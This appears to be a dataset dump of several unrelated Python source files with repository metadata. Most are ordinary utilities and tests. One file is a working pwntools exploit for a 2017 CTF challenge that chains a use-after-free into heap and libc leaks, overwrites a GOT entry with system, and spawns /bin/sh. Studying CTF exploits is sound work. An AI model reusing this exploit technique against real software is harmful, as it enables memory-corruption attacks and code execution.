| 35.793103 | 96 | 0.686898 | 168 | 1,038 | 4.172619 | 0.458333 | 0.014265 | 0.012839 | 0.011412 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.0047 | 0.180154 | 1,038 | 28 | 97 | 37.071429 | 0.819036 | 0 | 0 | 0 | 0 | 0 | 0.013487 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.12 | false | 0 | 0.44 | 0.12 | 0.56 | 0.08 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 3 |
6d347d3d8c5eab23a280b9984b4d6b87b6a813a8 | 1,111 | py | Python | test/hlt/pytest/python/com/huawei/iotplatform/client/dto/NotifySwUpgradeStateChangedDTO.py | yuanyi-thu/AIOT- | 27f67d98324593c4c6c66bbd5e2a4aa7b9a4ac1e | [
"BSD-3-Clause"
] | 128 | 2018-10-29T04:11:47.000Z | 2022-03-07T02:19:14.000Z | test/hlt/pytest/python/com/huawei/iotplatform/client/dto/NotifySwUpgradeStateChangedDTO.py | yuanyi-thu/AIOT- | 27f67d98324593c4c6c66bbd5e2a4aa7b9a4ac1e | [
"BSD-3-Clause"
] | 40 | 2018-11-02T00:40:48.000Z | 2021-12-07T09:33:56.000Z | test/hlt/pytest/python/com/huawei/iotplatform/client/dto/NotifySwUpgradeStateChangedDTO.py | yuanyi-thu/AIOT- | 27f67d98324593c4c6c66bbd5e2a4aa7b9a4ac1e | [
"BSD-3-Clause"
] | 118 | 2018-10-29T08:43:57.000Z | 2022-01-07T06:49:25.000Z | class NotifySwUpgradeStateChangedDTO(object):
def __init__(self):
self.notifyType = None
self.deviceId = None
self.appId = None
self.operationId = None
self.subOperationId = None
self.swUpgradeState = None
def getNotifyType(self):
return self.notifyType
def setNotifyType(self, notifyType):
self.notifyType = notifyType
def getDeviceId(self):
return self.deviceId
def setDeviceId(self, deviceId):
self.deviceId = deviceId
def getAppId(self):
return self.appId
def setAppId(self, appId):
self.appId = appId
def getOperationId(self):
return self.operationId
def setOperationId(self, operationId):
self.operationId = operationId
def getSubOperationId(self):
return self.subOperationId
def setSubOperationId(self, subOperationId):
self.subOperationId = subOperationId
def getSwUpgradeState(self):
return self.swUpgradeState
def setSwUpgradeState(self, swUpgradeState):
self.swUpgradeState = swUpgradeState
| 24.152174 | 48 | 0.667867 | 102 | 1,111 | 7.235294 | 0.254902 | 0.081301 | 0.113821 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.261926 | 1,111 | 45 | 49 | 24.688889 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.40625 | false | 0 | 0 | 0.1875 | 0.625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
6d57330f5890530f320cf62fd898070beece7685 | 1,316 | py | Python | pyheaders/cpp/enum.py | Roynecro97/pyheaders | 0e1e90aef3e18d611ec289b25213e2aa2cc0ab45 | [
"MIT"
] | 2 | 2020-05-19T20:19:37.000Z | 2021-04-06T18:59:06.000Z | pyheaders/cpp/enum.py | Roynecro97/pyheaders | 0e1e90aef3e18d611ec289b25213e2aa2cc0ab45 | [
"MIT"
] | 6 | 2020-05-17T14:25:25.000Z | 2020-07-13T11:45:21.000Z | pyheaders/cpp/enum.py | Roynecro97/pyheaders | 0e1e90aef3e18d611ec289b25213e2aa2cc0ab45 | [
"MIT"
] | null | null | null | '''
Represents a C++ enum.
'''
from collections import OrderedDict
from typing import Any, Optional, Text, Union
class Enum(OrderedDict):
'''
Represents a C++ enum.
'''
def __init__(self, name, items=None):
super().__init__(items or [])
self.name = name
def __getitem__(self, name: Union[Text, Any]) -> Union[Any, Text]:
if name in self.keys():
return super().__getitem__(name)
for key, value in self.items():
if name == value:
return key
raise KeyError(name)
def __setitem__(self, name: Text, value: Any):
if not isinstance(name, str):
raise TypeError("name must be a str.")
if not name.isidentifier():
raise ValueError("name must be a valid identifier.")
super().__setitem__(name, value)
def get(self, key: Text, default: Optional[Any] = None, /):
if key in self:
return self[key]
return default
def __contains__(self, name: Text):
return name in self.keys() or name in self.values()
def __str__(self):
return 'enum {}'.format(self.name)
def __repr__(self):
return 'Enum({!r}, [{}])'.format(self.name, ', '.join('({!r}, {!r})'.format(item, value) for item, value in self.items()))
| 26.857143 | 130 | 0.578267 | 165 | 1,316 | 4.393939 | 0.315152 | 0.077241 | 0.041379 | 0.044138 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.281915 | 1,316 | 48 | 131 | 27.416667 | 0.767196 | 0.034195 | 0 | 0 | 0 | 0 | 0.070513 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.241379 | false | 0 | 0.068966 | 0.103448 | 0.586207 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
ed974b0d6e70499730b205caa7425ce10c83731b | 2,237 | py | Python | sciquence/sequences/sliding_window.py | krzjoa/sciquence | 6a5f758c757200fffeb0fdc9206462f1f89e2444 | [
"MIT"
] | 8 | 2017-10-23T17:59:35.000Z | 2021-05-10T03:01:30.000Z | sciquence/sequences/sliding_window.py | krzjoa/sciquence | 6a5f758c757200fffeb0fdc9206462f1f89e2444 | [
"MIT"
] | 2 | 2019-08-25T19:24:12.000Z | 2019-09-05T12:16:10.000Z | sciquence/sequences/sliding_window.py | krzjoa/sciquence | 6a5f758c757200fffeb0fdc9206462f1f89e2444 | [
"MIT"
] | 2 | 2018-02-28T09:47:53.000Z | 2019-08-25T19:24:16.000Z | # Krzysztof Joachimiak 2017
# sciquence: Time series & sequences in Python
#
# Sliding window
# Author: Krzysztof Joachimiak
#
# License: MIT
from sklearn.base import BaseEstimator, TransformerMixin
from sklearn.preprocessing import Imputer
class SlidingWindow(BaseEstimator, TransformerMixin):
# TODO: check reference
'''
Class dedicated for simple sliding window transformations.
It transforms only the one input sequence:
for parallel X and y vectors processing see WindowsMaker
Parameters
----------
window_size: int, default 5
Size of sliding window
shift: int
Shift of sliding window, default 1
Attributes
----------
window_size_: int
Size of sliding window
shift_: int
Shift of sliding window
Examples
--------
>>> from sciquence.sliding_window import SlidingWindow
>>> import numpy as np
>>> X = np.array([0, 1, 23, 3, 4, 67, 89, 11, 2, 34])
>>> print SlidingWindow(window_size=3, shift=4).transform(X)
[array([1, 2, 3]), array([ 5, 11, 12])]
References
----------
Dietterich Thomas G.
Machine Learning for Sequential Data: A Review
http://web.engr.oregonstate.edu/~tgd/publications/mlsd-ssspr.pdf
See Also
--------
WindowsMaker
'''
def __init__(self, window_size=5, shift=1):
self.window_size_ = window_size
self.shift_ = shift
def fit(self, X, y=None):
'''
Mock method, does nothing.
Parameters
----------
X: ndarray (n_samples, n_features)
A sequence
Returns
-------
self: SlidingWindow
Returns self
'''
return self
def transform(self, X, y=None):
# TODO: check array shape
'''
Transform sequence into sequence of contextual sliding_window
Parameters
----------
X: ndarray (n_samples, n_features)
A sequence
Returns
-------
'''
windows = []
range_end = len(X) - self.window_size_+1
for i in xrange(0, range_end, self.shift_):
windows.append(X[range(i, i+self.window_size_)])
return windows
| 21.509615 | 69 | 0.588735 | 253 | 2,237 | 5.098814 | 0.466403 | 0.08062 | 0.046512 | 0.029457 | 0.151938 | 0.151938 | 0.151938 | 0.151938 | 0.151938 | 0.151938 | 0 | 0.022307 | 0.298614 | 2,237 | 103 | 70 | 21.718447 | 0.799873 | 0.588288 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019417 | 0 | 1 | 0.214286 | false | 0 | 0.142857 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
ed9eb4ccb84e2b5861f5d2fd5428fb0fde542ab3 | 343 | py | Python | Leetcode/72. Edit Distance/solution2.py | asanoviskhak/Outtalent | c500e8ad498f76d57eb87a9776a04af7bdda913d | [
"MIT"
] | 51 | 2020-07-12T21:27:47.000Z | 2022-02-11T19:25:36.000Z | Leetcode/72. Edit Distance/solution2.py | CrazySquirrel/Outtalent | 8a10b23335d8e9f080e5c39715b38bcc2916ff00 | [
"MIT"
] | null | null | null | Leetcode/72. Edit Distance/solution2.py | CrazySquirrel/Outtalent | 8a10b23335d8e9f080e5c39715b38bcc2916ff00 | [
"MIT"
] | 32 | 2020-07-27T13:54:24.000Z | 2021-12-25T18:12:50.000Z | class Solution:
def minDistance(self, word1: str, word2: str) -> int:
@lru_cache(None)
def dp(i, j):
if i < 0 or j < 0: return max(i, j) + 1
return dp(i - 1, j - 1) if word1[i] == word2[j] else min(dp(i - 1, j), dp(i - 1, j - 1), dp(i, j - 1)) + 1
return dp(len(word1) - 1, len(word2) - 1)
| 38.111111 | 118 | 0.483965 | 63 | 343 | 2.619048 | 0.380952 | 0.090909 | 0.072727 | 0.090909 | 0.072727 | 0 | 0 | 0 | 0 | 0 | 0 | 0.078947 | 0.335277 | 343 | 8 | 119 | 42.875 | 0.644737 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0 | 0 | 0.714286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
eddc8f3d3f9fe062304babd4121734ff09948049 | 426 | py | Python | src/Helix/playercontroller.py | FirstLevelGames/Helix | fd6f3106b65270db33dfa03797b4f0a14881778e | [
"MIT"
] | 2 | 2022-01-28T06:19:19.000Z | 2022-02-16T19:32:08.000Z | src/Helix/playercontroller.py | novialriptide/Helix | fd6f3106b65270db33dfa03797b4f0a14881778e | [
"MIT"
] | 15 | 2022-01-25T19:18:59.000Z | 2022-01-27T19:32:46.000Z | src/Helix/playercontroller.py | novialriptide/Helix | fd6f3106b65270db33dfa03797b4f0a14881778e | [
"MIT"
] | 2 | 2021-12-11T20:06:17.000Z | 2021-12-11T21:05:54.000Z | """
Helix: Flight Test (c) 2021 Andrew Hong
This code is licensed under GNU LESSER GENERAL PUBLIC LICENSE (see LICENSE for details)
"""
from SakuyaEngine.controllers import BaseController
class PlayerController(BaseController):
def __init__(self) -> None:
super().__init__()
self.is_shooting = False
class SecondaryController(BaseController):
def __init__(self) -> None:
super().__init__()
| 25.058824 | 87 | 0.71831 | 48 | 426 | 6.020833 | 0.729167 | 0.083045 | 0.145329 | 0.17301 | 0.262976 | 0.262976 | 0.262976 | 0 | 0 | 0 | 0 | 0.011561 | 0.187793 | 426 | 16 | 88 | 26.625 | 0.823699 | 0.298122 | 0 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.125 | 0 | 0.625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
eddd968de66af8f80b1a36490ca5e2bd020c72b5 | 229 | py | Python | vesicashapi/upload.py | vesicash/vesicash-python-sdk | 0a665e302b88c4eeb316a635c5485c9c3c1fffeb | [
"Apache-2.0"
] | null | null | null | vesicashapi/upload.py | vesicash/vesicash-python-sdk | 0a665e302b88c4eeb316a635c5485c9c3c1fffeb | [
"Apache-2.0"
] | null | null | null | vesicashapi/upload.py | vesicash/vesicash-python-sdk | 0a665e302b88c4eeb316a635c5485c9c3c1fffeb | [
"Apache-2.0"
] | 1 | 2021-04-20T14:54:40.000Z | 2021-04-20T14:54:40.000Z | """ Script used to call the upload service"""
from vesicashapi.base import VesicashBase
class Upload(VesicashBase):
@classmethod
def upload(cls, **kwargs):
return cls().requests.post('upload/file', data=kwargs)
| 25.444444 | 62 | 0.707424 | 28 | 229 | 5.785714 | 0.785714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.170306 | 229 | 8 | 63 | 28.625 | 0.852632 | 0.165939 | 0 | 0 | 0 | 0 | 0.059783 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0.2 | 0.8 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 3 |
ede594c7b841a17bd745f94e6e14ca549a96c9d0 | 621 | py | Python | bnpy/viz/__init__.py | zhaottcrystal/bnpy | 0195a0228e9e698799e52a6dfa1d051e82b43fd0 | [
"BSD-3-Clause"
] | 1 | 2019-05-14T19:56:53.000Z | 2019-05-14T19:56:53.000Z | bnpy/viz/__init__.py | zhaottcrystal/bnpy | 0195a0228e9e698799e52a6dfa1d051e82b43fd0 | [
"BSD-3-Clause"
] | null | null | null | bnpy/viz/__init__.py | zhaottcrystal/bnpy | 0195a0228e9e698799e52a6dfa1d051e82b43fd0 | [
"BSD-3-Clause"
] | 1 | 2020-09-01T13:21:18.000Z | 2020-09-01T13:21:18.000Z | """
The :mod:`viz` module provides visualization capability
"""
import viz.BarsViz
import viz.BernViz
import viz.GaussViz
import viz.SequenceViz
import viz.ProposalViz
import viz.PlotTrace
import viz.PlotELBO
import viz.PlotK
import viz.PlotHeldoutLik
import viz.PlotParamComparison
import viz.PlotComps
import viz.JobFilter
import viz.TaskRanker
import viz.BestJobSearcher
__all__ = ['GaussViz', 'BernViz', 'BarsViz', 'SequenceViz',
'PlotTrace', 'PlotELBO', 'PlotK', 'ProposalViz',
'PlotComps', 'PlotParamComparison',
'PlotHeldoutLik', 'JobFilter', 'TaskRanker', 'BestJobSearcher']
| 23 | 74 | 0.745572 | 64 | 621 | 7.171875 | 0.359375 | 0.27451 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.144928 | 621 | 26 | 75 | 23.884615 | 0.864407 | 0.088567 | 0 | 0 | 0 | 0 | 0.25448 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.777778 | 0 | 0.777778 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
edfb1aa3d2ef7463e5b95af6f0bc09df74d092d6 | 371 | py | Python | pyasice/exceptions.py | vgaicuks/pyasice | 4e955a4aedc319199dfd367d1d092ba99f4fe1c2 | [
"0BSD"
] | 6 | 2021-02-04T13:15:13.000Z | 2022-02-04T17:21:40.000Z | pyasice/exceptions.py | vgaicuks/pyasice | 4e955a4aedc319199dfd367d1d092ba99f4fe1c2 | [
"0BSD"
] | 5 | 2020-10-26T14:43:34.000Z | 2021-12-27T14:40:10.000Z | pyasice/exceptions.py | thorgate/pyasice | 4423b7251392c7bf6bc5d14800b9b396b8eb2222 | [
"0BSD"
] | 1 | 2021-07-21T15:36:31.000Z | 2021-07-21T15:36:31.000Z | class PyAsiceError(Exception):
"""
A generic exception that can happen while dealing with ASic-E/BDoc 2 files/signatures
"""
pass
class ContainerError(PyAsiceError):
pass
class NoFilesToSign(PyAsiceError):
pass
class SignatureVerificationError(PyAsiceError):
pass
class InvalidSignatureAlgorithm(SignatureVerificationError):
pass
| 16.130435 | 89 | 0.746631 | 35 | 371 | 7.914286 | 0.628571 | 0.129964 | 0.227437 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003322 | 0.188679 | 371 | 22 | 90 | 16.863636 | 0.916944 | 0.229111 | 0 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
610ab1863c7ddaa1c38857f222e1b6a7d510644e | 4,655 | py | Python | secuinside-2017/Very Very Chart/chart.py | mathboy7/CTF | e279bf91ad6b22fc41087571c5fba9501832ab80 | [
"Apache-2.0"
] | 46 | 2017-11-07T05:30:26.000Z | 2021-11-24T09:33:41.000Z | secuinside-2017/Very Very Chart/chart.py | mathboy7/CTF | e279bf91ad6b22fc41087571c5fba9501832ab80 | [
"Apache-2.0"
] | null | null | null | secuinside-2017/Very Very Chart/chart.py | mathboy7/CTF | e279bf91ad6b22fc41087571c5fba9501832ab80 | [
"Apache-2.0"
] | 3 | 2017-11-14T14:45:28.000Z | 2020-08-30T07:59:04.000Z | from pwn import *
r = process("./chart")
raw_input("$")
def register(type_, ID, PW, name, profile=""): # user 1, composer 2
r.send("2\n")
print r.recvuntil("Type :")
r.send(str(type_)+"\n")
print r.recvuntil("ID : ")
r.send(ID+"\n")
print r.recvuntil("PW : ")
r.send(PW+"\n")
print r.recvuntil("Name : ")
r.send(name+"\n")
if(type_ == 1):
print r.recvuntil(">")
else:
print r.recvuntil("Profile : ")
r.send(profile+"\n")
print r.recvuntil(">")
def login(ID, PW):
r.send("1\n")
print r.recvuntil("ID :")
r.send(ID+"\n")
print r.recvuntil("PW :")
r.send(PW+"\n")
print r.recvuntil(">")
def writeMusic(name, lyric):
r.send("1\n")
print r.recvuntil("Name : ")
r.send(name+"\n")
print r.recvuntil("Lyrics : ")
r.send(lyric+"\n")
print r.recvuntil(">")
def deleteMusic(index):
r.send("2\n")
print r.recvuntil("Index : ")
r.send(str(index)+"\n")
print r.recvuntil(">")
def editProfile(newProfile):
r.send("3\n")
print r.recvuntil("Edit Profile : ")
r.send(newProfile+"\n")
print r.recvuntil(">")
def editMusic(musicIdx, newLyric):
r.send("4\n")
print r.recvuntil("Index :")
r.send(str(musicIdx)+"\n")
r.send(newLyric+"\n")
print r.recvuntil(">")
def logOut(type_):
if type_== 1: # user
r.send("9\n")
print r.recvuntil(">")
else: # composer
r.send("5\n")
print r.recvuntil(">")
def createVeryBox(boxName):
r.send("1\n")
print r.recvuntil("Box Name :")
r.send(boxName+"\n")
print r.recvuntil(">")
def deleteVeryBox(boxIndex):
r.send("2\n")
print r.recvuntil("Index :")
r.send(str(boxIndex)+"\n")
print r.recvuntil(">")
def buyMusic(index):
r.send("3\n")
print r.recvuntil("Index :")
r.send(str(index)+"\n")
print r.recvuntil(">")
def putMusicBox(boxIndex, musicIndex):
r.send("4\n")
print r.recvuntil("box :")
r.send(str(boxIndex)+"\n")
print r.recvuntil("box? > ")
r.send(str(musicIndex)+"\n")
print r.recvuntil(">")
def moveBox2Box(destIdx, srcIdx, x, y):
r.send("5\n")
print r.recvuntil("index :")
r.send(str(destIdx)+"\n")
print r.recvuntil("index :")
r.send(str(srcIdx)+"\n")
print r.recvuntil("x :")
r.send(str(x)+"\n")
print r.recvuntil("y :")
r.send(str(y)+"\n")
print r.recvuntil(">")
def deleteMusicU(musicIndex):
r.send("8\n")
print r.recvuntil("Index :")
r.send(str(musicIndex)+"\n")
print r.recvuntil(">")
print r.recvuntil(">")
register(1, "mathboy", "mathboy", "mathboy")
register(2, "mitsuha", "mitsuha", "mitsuha", "A"*0x40)
login("mitsuha", "mitsuha") # composer now!
writeMusic("music1", "music1 hello")
writeMusic("sex", "sex")
logOut(2) # composer logout
register(2, "sexma", "sex", "sex", "B"*0x40) # for attack
login("sexma", "sex") # write for attackvec
writeMusic("aaaaaaaa", "b"*0x39) # write for attackvec, music idx=2
logOut(2)
login("mathboy", "mathboy") # user now!
createVeryBox("myBox")
buyMusic(0)
putMusicBox(0, 0) # go music0 to box 0.
deleteMusicU(0)
logOut(1) # user logout
login("mitsuha", "mitsuha")
deleteMusic(0)
logOut(2)
login("mathboy", "mathboy") # user again!
moveBox2Box(0, 0, 0, 0) # 0, 0 -> 0, 0, reference counting bug occured.
createVeryBox(p64(0x607340)+"\n")
r.send("6\n")
print r.recvuntil("--\n0. ")
recved = r.recvuntil("\n")[:-1]
recved += "\x00"*(8-len(recved))
heap = u64(recved)
print r.recvuntil(">")
print "heap addr: " + hex(heap)
createVeryBox("sexMaster") # second box
buyMusic(1)
putMusicBox(2, 0) # go music1 to box 2
deleteMusicU(0)
logOut(1)
login("mitsuha", "mitsuha")
deleteMusic(1)
logOut(2)
login("mathboy", "mathboy")
moveBox2Box(2, 2, 0, 0)
logOut(1) # logout User
login("mitsuha", "mitsuha")
editProfile(p64(heap+0x350)+p64(0x0)+"A"*8+p64(heap-0x270))
logOut(2) # logout Composer
register(1, p64(heap+0xc0), "P"*0x40, "Q"*0x40)
login("sexma", "sex") # login for attack
editProfile("B"*0x30+p64(0x0)+p64(0x71))
editMusic(2, p64(0x0)+p64(0x21)+"b"*0x20+p64(0x0)+"\x21")
logOut(2)
login("mathboy", "mathboy")
deleteVeryBox(2)
logOut(1) # logout User
register(2, "payload", "payload", "payload", "A"*0x60) # overlapped!
login("payload", "payload")
payload = p64(0x0) + p64(0x31)
payload += p64(heap+0x3b0)
payload += p64(0x605030)
editProfile(payload)
logOut(2)
login("mathboy", "mathboy")
buyMusic(2)
r.send("7\n")
print r.recvuntil("Lyrics : ")
recved = r.recv(6)
libc = u64(recved+"\x00\x00")
libc_base = libc - 0x66bf10
system = libc_base + 0x45390
print r.recvuntil(">")
print "libc: " + hex(libc)
logOut(1)
login("sexma", "sex") # to edit
editMusic(2, p64(system)[:6]) # got overwrite!
logOut(2)
login("mathboy", "mathboy")
createVeryBox("/bin/sh")
r.send("2\n")
print r.recvuntil("Index :")
r.send("2\n") # trigger system("/bin/sh")!
r.interactive()
| 20.874439 | 71 | 0.643179 | 709 | 4,655 | 4.211566 | 0.181946 | 0.147354 | 0.216008 | 0.203617 | 0.363027 | 0.268252 | 0.248158 | 0.203952 | 0.118888 | 0.104153 | 0 | 0.050406 | 0.126316 | 4,655 | 222 | 72 | 20.968468 | 0.683796 | 0.080559 | 0 | 0.520231 | 0 | 0 | 0.152726 | 0 | 0 | 0 | 0.025611 | 0 | 0 | 0 | null | null | 0 | 0.00578 | null | null | 0.260116 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
611ef43855c4502d2337beaf2e9bbdd18e660663 | 1,287 | py | Python | test/utilities/test_Converter.py | pip-benchmark/pip-benchmark-python | d75672e940af12e2f9818607e2188490e989d8c5 | [
"MIT"
] | null | null | null | test/utilities/test_Converter.py | pip-benchmark/pip-benchmark-python | d75672e940af12e2f9818607e2188490e989d8c5 | [
"MIT"
] | null | null | null | test/utilities/test_Converter.py | pip-benchmark/pip-benchmark-python | d75672e940af12e2f9818607e2188490e989d8c5 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from pip_benchmark_python.utilities.Converter import Converter
class TestConverter:
def test_long_to_string(self):
assert Converter.long_to_string(None) is None
assert '123' == Converter.long_to_string(123)
def test_string_to_long(self):
assert 0 == Converter.string_to_long(None, 0)
assert 0 == Converter.string_to_long('ABC', 0)
assert 123 == Converter.string_to_long('123', 0)
def test_double_to_string(self):
assert Converter.double_to_string(None) is None
assert '123.456' == Converter.double_to_string(123.456)
def test_string_to_double(self):
assert 0 == Converter.string_to_double(None, 0)
assert 0 == Converter.string_to_double('ABC', 0)
assert 123.456 == Converter.string_to_double('123.456', 0)
def test_boolean_to_string(self):
assert 'false' == Converter.boolean_to_string(None)
assert 'true' == Converter.boolean_to_string(True)
def test_string_to_boolean(self):
assert False is Converter.string_to_boolean(None, False)
assert True is Converter.string_to_boolean('True', False)
assert True is Converter.string_to_boolean('1', False)
assert True is Converter.string_to_boolean('T', False)
| 36.771429 | 66 | 0.695416 | 181 | 1,287 | 4.657459 | 0.171271 | 0.123369 | 0.201661 | 0.104389 | 0.46382 | 0.368921 | 0.278766 | 0.145907 | 0 | 0 | 0 | 0.046647 | 0.200466 | 1,287 | 34 | 67 | 37.852941 | 0.772595 | 0.016317 | 0 | 0 | 0 | 0 | 0.032437 | 0 | 0 | 0 | 0 | 0 | 0.666667 | 1 | 0.25 | false | 0 | 0.041667 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
b62c2361b51ddd55b0ad6546bce400043a91ee1a | 362 | py | Python | tests/test_generator.py | skalarsystems/fhir-zeug | 19973438823c41247e3efb5b1d35e8942ae01fdb | [
"Apache-2.0"
] | 10 | 2020-04-23T18:13:13.000Z | 2020-11-25T07:45:26.000Z | tests/test_generator.py | skalarsystems/fhir-zeug | 19973438823c41247e3efb5b1d35e8942ae01fdb | [
"Apache-2.0"
] | 71 | 2020-05-20T09:11:22.000Z | 2020-10-26T14:01:03.000Z | tests/test_generator.py | skalarsystems/fhir-zeug | 19973438823c41247e3efb5b1d35e8942ae01fdb | [
"Apache-2.0"
] | 1 | 2020-06-03T11:55:47.000Z | 2020-06-03T11:55:47.000Z | from pathlib import Path
from fhirzeug.generator import generate
from fhirzeug.fhirspec import FHIRSpec
def test_write(spec: FHIRSpec, tmp_path: Path):
spec.generator_config.output_directory.destination = tmp_path
spec.generator_config.output_file.destination = Path("output.py")
generate(spec)
assert tmp_path.joinpath("output.py").is_file()
| 30.166667 | 69 | 0.787293 | 49 | 362 | 5.632653 | 0.44898 | 0.076087 | 0.123188 | 0.166667 | 0.210145 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.124309 | 362 | 11 | 70 | 32.909091 | 0.870662 | 0 | 0 | 0 | 1 | 0 | 0.049724 | 0 | 0 | 0 | 0 | 0 | 0.125 | 1 | 0.125 | false | 0 | 0.375 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
b62e3b273084a90d44d9b735364ee439b8417ee2 | 164 | py | Python | code/abc117_c_01.py | KoyanagiHitoshi/AtCoder | 731892543769b5df15254e1f32b756190378d292 | [
"MIT"
] | 3 | 2019-08-16T16:55:48.000Z | 2021-04-11T10:21:40.000Z | code/abc117_c_01.py | KoyanagiHitoshi/AtCoder | 731892543769b5df15254e1f32b756190378d292 | [
"MIT"
] | null | null | null | code/abc117_c_01.py | KoyanagiHitoshi/AtCoder | 731892543769b5df15254e1f32b756190378d292 | [
"MIT"
] | null | null | null | N,M=map(int,input().split())
X=sorted(set(list(map(int,input().split()))))
s=[]
for i in range(M-1):
s.append(X[i+1]-X[i])
s=sorted(s)[::-1]
print(sum(s[N-1:])) | 23.428571 | 45 | 0.573171 | 37 | 164 | 2.540541 | 0.513514 | 0.12766 | 0.234043 | 0.340426 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02649 | 0.079268 | 164 | 7 | 46 | 23.428571 | 0.596026 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.142857 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
b656d9867f056795fcb0613d2497677c41ee347e | 395 | py | Python | Curso Python/PythonExercicios/ex020.py | marcos-saba/Cursos | 1c063392867e9ed86d141dad8861a2a35488b1c6 | [
"MIT"
